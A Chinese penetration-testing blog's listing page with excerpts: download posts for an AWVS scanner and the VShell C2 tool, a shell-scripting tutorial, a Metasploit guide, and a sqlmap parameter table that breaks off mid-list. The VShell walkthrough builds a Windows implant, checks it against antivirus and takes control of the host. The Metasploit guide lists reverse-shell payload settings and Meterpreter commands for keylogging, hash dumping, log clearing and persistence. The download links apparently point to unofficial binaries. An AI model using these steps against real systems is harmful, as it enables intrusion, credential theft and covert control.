首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
9,883 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,561 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,755 阅读
4
几个常见的密码字典推荐
3,968 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,433 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
8
篇与
的结果
2025-11-10
【Windows版】Acunetix Premium(AWVS) v25.8.25 高级版
前言AWVS 算是 Web 安全圈的老牌自动化扫描利器,核心就是把 Web 应用的漏洞探测、攻击面识别、配置错漏排查做透。它直接对标 OWASP Top 10 核心风险,SQL 注入、XSS 这些高频漏洞都能精准命中,深度爬虫还能啃下复杂交互的 Web 应用,不用手动补全扫描路径。全程自动化跑通,从漏洞探测到报告生成不用人工盯着调参数,效率比纯手动扫高不止一个量级。报告做得相当扎实,漏洞严重级、触发路径、修复方案都写得明明白白,直接能丢给开发对接整改。更关键的是能无缝嵌进 CI/CD 流水线,把安全测试揉进开发流程里,实现左移安全,不用等上线才返工补漏洞 —— 对团队来说,这种可落地的持续安全能力才是真刚需。下载地址:https://pan.baidu.com/s/1kuUaEAeP4moPq3Hrb6tPZw 提取码: jjiy安装过程在文末下载之后,解压,双击这个exe程序选择你的安装目录设置你的登录邮箱默认启动端口一路下一步等待安装完成他会提示一个证书问题,选择是这样安装成功后就能通过本地3443端口访问了随后我们点这个以管理员身份运行会出现如下提示再登录,即可下载地址:https://pan.baidu.com/s/1kuUaEAeP4moPq3Hrb6tPZw 提取码: jjiy
2025年11月10日
2,327 阅读
0 评论
0 点赞
2025-10-30
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
VShell下载链接链接: https://pan.baidu.com/s/1LGb4RPgxmJPDEdZlaHQOkA 提取码: ju5z图表呈现(精简对比表) 对比维度 vshell Cobalt Strike(CS) 工具状态 GitHub 下架、闭源、版本内部传播 官方维护、插件生态成熟 核心优势 操作流畅、适配前期打点 / 隧道搭建、Linux 原生支持 插件多、横向手段丰富、可修改特征、适配后渗透 Linux 支持 无需插件,功能完善 依赖第三方插件,功能有限 适用阶段 渗透测试前期(打点、隧道) 渗透测试后期(后渗透、横向移动) 首先打开网盘链接,下载相关的文件,上传到你自己的vps或者本地虚拟机中,这里我使用的是Kali虚拟机然后修改配置文件使用命令vi ./conf/setting.conf重点关注这两个地方,一个是账号密码,你需要配置好你的账号密码,这里我就使用默认的,上面的那个jwt根据作者提示就留空web_username=admin web_password=qwe123qwe还有一个启动的端口信息我们执行这个文件的时候,发现没有权限,需要给它赋予一个执行权限chmod +x ./v_Linux_arm64再执行的时候,这里又出现了一个错误“exec format error” 是因为 你在 x86/x64 架构的 Kali 上,运行了 ARM64 架构的程序如果你的需求是 “在 Kali 上测试 ARM 架构的程序”,需安装 QEMU 模拟器(模拟 ARM 环境)这样就能正常执行了随后找到你Kali的ip地址ip a打开浏览器,访问Kali的ip以及对应的端口,再输入刚刚你配置文件./conf/setting.conf中的账号免密10.10.10.173:8082来到了管理登录界面,再次输入账号密码就能登录成功了我们创建一个TCP监听器在客户端生成选项中生成马选择stageless,生成windows正向连接马在电脑管家中扫描试试双击执行在客户端管理中上线成功再选择主机管理命令执行还有像文件管理,屏幕查看和监控就不展示了,可以实时的进行返回截图,太丝滑了。插件就只有默认携带的几个,可以自己在plugins目录添加四种隧道任你选择shell 在渗透测试中实用性极强,操作流畅、功能便捷,但目前已从 GitHub 下架,官方闭源且无法二次开发,现存版本多为行业内私下传播。对比老牌工具 Cobalt Strike(CS),二者各有优势:CS 插件生态丰富,横向渗透手段多、可灵活修改特征;vshell 更适合初始打点与隧道搭建,CS 则更适配后渗透阶段,二者可形成场景互补。值得一提的是,vshell 对 Linux 系统支持完善,无需额外插件就能实现 Linux 目标上线与后渗透操作;而 CS 需依赖插件才能支持 Linux,且相关功能有限。综合来看,vshell 是高效的前期辅助工具,与 CS 配合使用可提升整体渗透效率。本文原创于,https://longyusec.com 转载请注明原文链接出处
2025年10月30日
9,883 阅读
0 评论
0 点赞
2025-05-18
kali Linux Shell编程:基础到进阶
kali Linux Shell编程:基础到进阶在Linux系统中,shell编程是一项基本技能,它不仅能够提高系统操作效率,还能让你更好地理解和掌控Linux。本文将带领你从shell编程的基础入门,逐步进阶到复杂应用,通过改写和扩展原有内容,使内容更加丰富且保持低重复率。一、Shell编程基础1. Shell简介Shell是一种命令行界面,用于用户与操作系统进行交互。它也是一种脚本语言,允许用户编写程序自动执行一系列命令。Linux系统中常见的Shell类型包括bash、zsh、csh等,其中bash是最常用的Shell之一。代码示例:#!/bin/bash echo "Hello, Shell World!"以上脚本使用bash Shell,打印“Hello, Shell World!”。2. 创建和执行Shell脚本创建Shell脚本的第一步是创建一个文本文件,并写入Shell命令。然后,你需要给这个文件添加执行权限,最后通过终端执行它。示例步骤:使用文本编辑器(如vim或nano)创建脚本文件,例如hello.sh。在文件中写入以下内容:#!/bin/bash # A simple hello world script echo "Hello, World from a Shell Script!"保存并退出编辑器。给脚本文件添加执行权限:chmod +x hello.sh。执行脚本:./hello.sh。3. Shell脚本的基本语法Shell脚本的基本语法包括变量定义、条件语句、循环语句等。变量定义与使用:#!/bin/bash # Define a variable name="John Doe" # Use the variable echo "Hello, $name!"条件语句:Shell脚本中的条件语句主要有if、elif、else。#!/bin/bash # Check the number of arguments if [ $# -eq 0 ]; then echo "No arguments provided." elif [ $# -eq 1 ]; then echo "One argument provided: $1" else echo "Multiple arguments provided." fi4. Shell中的循环Shell支持多种循环,包括for循环和while循环。For循环:#!/bin/bash # Loop through numbers 1 to 5 for i in {1..5}; do echo "Number $i" doneWhile循环:#!/bin/bash counter=1 while [ $counter -le 5 ]; do echo "Number $counter" ((counter++)) done二、Shell编程进阶1. 函数定义与调用在Shell脚本中,函数允许你将代码块封装起来,以便在脚本中重复使用。#!/bin/bash # Define a function greet() { echo "Hello, $1!" } # Call the function greet "Alice" greet "Bob"2. 数组的使用Shell脚本支持一维数组,可以通过索引来访问数组元素。#!/bin/bash # Declare an array fruits=("Apple" "Banana" "Cherry") # Iterate through the array for fruit in "${fruits[@]}"; do echo "$fruit" done3. 正则表达式与文本处理Shell脚本中可以使用正则表达式来匹配文本字符串。grep命令是处理文本和正则表达式的好帮手。#!/bin/bash # Use grep to find lines containing 'error' grep "error" log.txt使用awk和sed工具可以进行更复杂的文本处理。使用awk处理文本:#!/bin/bash # Print the first and third fields of each line in a file awk '{print $1, $3}' file.txt4. 读取用户输入Shell脚本可以读取用户输入,用于交互式操作。#!/bin/bash # Read user input echo "Enter your name: " read name echo "Hello, $name!"5. 文件与目录操作Shell脚本提供了丰富的命令来操作文件和目录,如ls、cp、mv、rm等。列出当前目录下的所有文件:#!/bin/bash # List all files in the current directory ls -l复制文件:#!/bin/bash # Copy a file cp source.txt destination.txt6. Shell脚本的调试调试Shell脚本时,可以使用-x选项来跟踪脚本的执行过程。bash -x script.sh三、高级Shell编程技巧1. 子Shell与进程控制在Shell脚本中,可以通过括号()来创建一个子Shell,子Shell会继承父Shell的环境,但在子Shell中做的任何修改都不会影响到父Shell。#!/bin/bash # Create a subshell (cd /tmp; ls)2. 陷阱信号与信号处理Shell脚本可以捕获和处理系统发出的信号,如SIGINT(通常通过Ctrl+C产生)。#!/bin/bash # Trap SIGINT trap 'echo "Caught SIGINT"; exit' SIGINT echo "Script is running. Try pressing Ctrl+C." while true; do sleep 1 done3. 并发执行与等待Shell脚本可以利用&将命令放入后台执行,并使用wait命令等待后台进程完成。#!/bin/bash # Run commands in the background command1 & command2 & # Wait for all background processes to finish wait结语通过本文的改写和扩展,我们详细探讨了Shell编程的基础和进阶内容,包括变量、条件语句、循环、函数、数组、文本处理、用户输入、文件操作、调试以及高级Shell编程技巧。希望这些内容能够帮助你更好地掌握Shell编程,提高在Linux系统中的工作效率。
2025年05月18日
1,209 阅读
0 评论
0 点赞
2025-05-18
2026最新 Metasploit Framework (MSF) 使用指南
引言Metasploit Framework(MSF)是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法,帮助初学者快速上手。一、Metasploit Framework 介绍1.1 MSF 概述Metasploit Framework最初由HD Moore于2003年发布,并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中,同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架,包括漏洞利用模块(exploits)、攻击载荷(payloads)、辅助模块(auxiliary)、编码器(encoders)、空指令(nops)、后渗透模块(post)等多个组件。1.2 MSF 主要组件Exploits(漏洞利用模块):利用目标系统中的已知漏洞进行攻击。exploit漏洞利用模块路径/usr/share/metasploit-framework/modules/exploits 例如我需要对windows的系统漏洞的利用,我可以查看windows模块Payloads(攻击载荷):攻击成功后,在目标系统中执行的代码或指令。/usr/share/metasploit-framework/modules/payloads 在Metasploit框架中,Payload扮演着至关重要的角色,主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的,功能单一且易于使用,类似于运行一个简单的程序命令,但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见类型有reverse_tcp和bind_tcp,分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。在实际应用中,正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况,但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境,此时被攻击机可主动连接攻击机,即使防火墙阻止进入的流量也无法阻挡外出连接。特别地,当被攻击机的防火墙极度严格,仅允许80或443端口与外部通信时,使用reverse_http或reverse_https Payload进行反向连接成为理想选择。Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能,辅助渗透测试。不直接执行攻击。例如,使用SMB_version辅助模块扫描SMB服务版本:use auxiliary/scanner/SMB/SMB_version set RHOSTS 192.168.1.0/24 run 目录如下MSF利用扫描,我的机器上没有这个服务,所以扫不出来。Encoders(编码器):对Payload进行加密,以绕过安全软件的检测。Nops(空指令):提高Payload的稳定性和可靠性。Post(后渗透模块):在取得目标系统控制权后,执行进一步的攻击动作。二、Metasploit Framework 基础安装与配置2.1 Kali Linux 中的 MSF在Kali Linux中,MSF默认已安装,用户可以直接通过终端启动MSF控制台。bash复制代码 msfconsole 2.2 非Kali Linux 环境下的安装在非Kali Linux环境下,用户可以通过以下命令一键安装MSF:bash复制代码 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装完成后,建议添加新用户并切换到该用户下运行MSF,以避免权限问题。2.3 更新与升级Kali Linux 环境:apt update apt upgrade metasploit-framework 非Kali Linux 环境:bash复制代码 msfupdate 三、Metasploit Framework 基础用法3.1 启动 MSF 控制台在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库,建议以非root用户启动以确保数据库同步。3.2 搜索与选择模块搜索模块:使用 search 命令搜索特定模块,如 search ms17_010。选择模块:使用 use 命令选择特定模块,如 use exploit/windows/SMB/ms17_010_eternalblue,也可以使用搜索到的结果的索引,比如3.3 查看模块信息使用 info 命令查看当前模块的详细信息。3.4 配置模块参数使用 show options 查看模块需要配置的参数。使用 set 命令设置参数值,如 set RHOSTS 192.168.3.172。可以使用 setg 设置全局参数,避免在每个模块中重复设置。3.5 执行攻击配置完成后,使用 exploit 或 run 命令执行攻击,这里一般看习惯,都是用的run。可以使用 exploit -j 在后台运行攻击。3.6 后渗透阶段成功攻击后,将进入Meterpreter会话,可以进行一系列后渗透操作,如文件操作、提权、信息收集等。该表来自csdn 剑客 getshell Meterpreter > ? ========================================== 核心命令: ========================================== 命令 说明 ------- ------------ ? 帮助菜单 background 把当前会话挂到后台运行 bg background命令的别名 bgkill 杀死后台meterpreter 脚本 bglist 列出正在运行的后台脚本 bgrun 执行一个meterpreter脚本作为后台线程 channel 显示信息或控制活动频道 close 关闭一个频道 detach 分离Meterpreter会话(用于 http/https) disable_unicode_encoding 禁用 unicode 字符串的编码 enable_unicode_encoding 启用 unicode 字符串的编码 exit 终止 Meterpreter 会话 get_timeouts 获取当前会话超时值 guid 获取会话 GUID help 帮助菜单 info 显示有关 Post 模块的信息 irb 在当前会话中打开一个交互式 Ruby shell load 加载一个或多个 Meterpreter 扩展 machine_id 获取连接到会话的机器的 MSF ID migrate 将服务器迁移到另一个进程 pivot 管理枢轴侦听器 pry 在当前会话上打开 Pry 调试器 quit 终止 Meterpreter 会话 read 从通道读取数据 resource 运行存储在文件中的命令 run 执行一个 Meterpreter 脚本或 Post 模块 secure (重新)协商会话上的 TLV 数据包加密 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 强制 Meterpreter 安静,然后重新建立会话 ssl_verify 修改 SSL 证书验证设置 transport 管理运输机制 use 不推荐使用的load命令别名 uuid 获取当前会话的 UUID write 将数据写入通道 ========================================== Stdapi:文件系统命令 ========================================== 命令 说明 ------- ------------ cat 将文件内容读到屏幕上 cd 切换目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件(ls 的别名) download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 制作目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 ========================================== Stdapi:网络命令 ========================================== 命令 说明 ------- ------------ arp 显示主机 ARP 缓存 getproxy 显示当前代理配置 ifconfig 显示界面 ipconfig 显示接口 netstat 显示网络连接 portfwd 将本地端口转发到远程服务 resolve 解析目标上的一组主机名 route 查看和修改路由表 ========================================== Stdapi:系统命令 ========================================== 命令 说明 ------- ------------ clearev 清除事件日志 drop_token 放弃任何活动的模拟令牌。 execute 执行命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 尝试启用当前进程可用的所有权限 getid 获取服务器运行的用户的 SID getuid 获取服务器运行的用户 kill 终止进程 localtime 显示目标系统本地日期和时间 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重启远程计算机 reg 修改远程注册表并与之交互 rev2self 在远程机器上调用 RevertToSelf() shell 放入系统命令 shell shutdown 关闭远程计算机 steal_token 尝试从目标进程窃取模拟令牌 suspend 暂停或恢复进程列表 sysinfo 获取有关远程系统的信息,例如 OS ========================================== Stdapi:用户界面命令 ========================================== 命令 说明 ------- ------------ enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的截图 setdesktop 更改meterpreters当前桌面 uictl 控制一些用户界面组件 ========================================== Stdapi:网络摄像头命令: ========================================== 命令 说明 ------- ------------ record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 从指定的网络摄像头播放视频流 ========================================== Stdapi:音频输出命令: ========================================== 命令 说明 ------- ------------ play 在目标系统上播放波形音频文件 (.wav) ========================================== Priv:权限提升命令: ========================================== 命令 说明 ------- ------------ getsystem 尝试将您的权限提升到本地系统的权限。 ========================================== Priv:密码数据库命令: ========================================== 命令 说明 ------- ------------ hashdump 转储 SAM 数据库的内容 ========================================== Priv:Timestomp 命令: ========================================== 命令 说明 ------- ------------ timestomp 操作文件 MACE 属性 meterpreter > 四、常见问题与解决方案4.1 数据库连接问题如果初次运行MSF时未正确初始化数据库,可能会出现连接问题。可以使用以下命令解决:bash复制代码 msfdb init 若已初始化但连接不上,尝试重启数据库服务:bash复制代码 msfdb restart 4.2 权限不足问题在非Kali Linux环境下,以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。4.3 攻击失败攻击失败可能是由多种原因造成的,如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态,并尝试不同的Payload和配置选项。五、高级攻击技术5.1 被动利用(Passive Exploit)被动利用是一种不直接向目标系统发送攻击载荷的攻击方式,而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。示例:利用浏览器漏洞假设目标系统的浏览器存在已知漏洞,攻击者可以设置一个包含漏洞利用代码的Web页面,并诱骗目标用户访问该页面。当浏览器加载页面时,漏洞利用代码将被执行,从而实现攻击。use exploit/windows/browser/ms10_002_aurora set URIPATH /exploit set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.101 exploit 5.2 复合攻击链(Attack Chain)在复杂攻击场景中,攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链,攻击者可以依次利用多个漏洞,逐步深入目标系统。示例:内网横向移动假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器,接下来可以通过其他漏洞(如SMBv1漏洞、密码猜测等)横向移动到其他机器上。5.3 利用定时任务或计划任务在某些情况下,攻击者可以修改目标系统的计划任务或定时任务,以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。六、后渗透阶段的高级操作6.1 权限提升在渗透测试过程中,获得系统权限是目标之一。Meterpreter提供了多种提权技术,包括但不限于:使用getsystem命令尝试直接提权。利用已知的系统漏洞进行提权(如利用脏牛漏洞)。通过上传并执行mimikatz等工具获取明文密码。6.2 信息收集后渗透阶段,深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息,包括但不限于:使用sysinfo命令获取系统基本信息。运行run scraper命令收集系统详细信息并保存到本地。使用run hashdump或run smart_hashdump导出密码哈希值。6.3 持久化为了保持对目标系统的长期访问,攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。使用Meterpreter的persistence脚本在目标系统中设置反弹Shell。修改注册表或服务以实现开机自启动。七、自定义模块开发MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。7.1 开发Exploit模块开发自定义Exploit模块需要深入了解目标漏洞的利用机制,并熟悉Ruby编程语言。以下是一个简单的开发流程:研究漏洞:深入理解漏洞的原理和触发条件。编写Ruby脚本:使用Metasploit的API编写exploit脚本。测试与调试:在安全的测试环境中测试exploit的有效性和稳定性。7.2 Payload开发自定义Payload的开发同样需要深入的技术背景,包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload,如自定义shellcode。八、复杂攻击场景应用8.1 APT攻击模拟高级持续性威胁(APT)攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF,安全专业人员可以模拟APT攻击过程,评估组织的安全防御能力。8.2 水坑攻击水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源,并在这些位置植入恶意代码。通过MSF,攻击者可以模拟整个水坑攻击过程,从漏洞选择到Payload执行。8.3 多阶段攻击多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径,并依次利用多个漏洞实现最终目标。九、总结本文详细介绍了Metasploit Framework的基础知识和基本使用方法,包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文,读者可以初步掌握MSF的使用技巧,为进一步学习进阶用法打下坚实基础。在后续文章中,我们将深入探讨MSF的进阶用法,包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。参考 :https://blog.csdn.net/weixin_45588247?type=blog
2025年05月18日
1,914 阅读
0 评论
0 点赞
2025-05-18
1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
喜欢长文吗?1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透前言在信息安全领域,SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理,通过注入恶意SQL代码,从而绕过安全措施,非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻,了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具,凭借其强大的功能和易用性,成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞,还能进一步枚举数据库信息、提取数据,甚至执行操作系统命令,为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法,帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧,我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时,通过实例演示和技巧分享,帮助读者在实际操作中灵活运用sqlmap,提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术,但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型: 二次注入(Second-Order SQL Injection):二次注入发生在应用程序首先接收并存储了恶意输入,然后在稍后的时间点(通常是在另一个请求中)这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询,因此sqlmap可能难以直接检测到这种注入类型,除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入:这种注入类型发生在客户端JavaScript代码中,而不是服务器端。sqlmap主要关注服务器端的安全漏洞,因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过:某些Web应用防火墙(WAF)或入侵防御系统(IPS)可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时,sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下,可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入:虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞,但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理,这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制:在某些情况下,由于数据库配置或网络延迟等原因,盲注(基于布尔、时间或错误消息的盲注)可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息,那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言:虽然sqlmap支持多种数据库系统,但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言,那么可能会影响到sqlmap的检测能力。 在开始之前先上表(方便以后查表),或者截图保存好,基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的值 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --passwords 枚举DBMS用户密码哈希值 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC 常规: 这些选项可用于设置一些常规工作参数 --batch 不要询问用户输入,使用默认行为 --flush-session 清除当前目标的会话文件 杂项: 这些选项不属于任何其他类别 --wizard 面向初学者用户的简单向导界面 高阶用法Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项 请求: 这些选项可用于指定如何连接到目标URL -A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: frnETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 这些选项可用于优化sqlmap的性能 -o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1) 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改 检测: 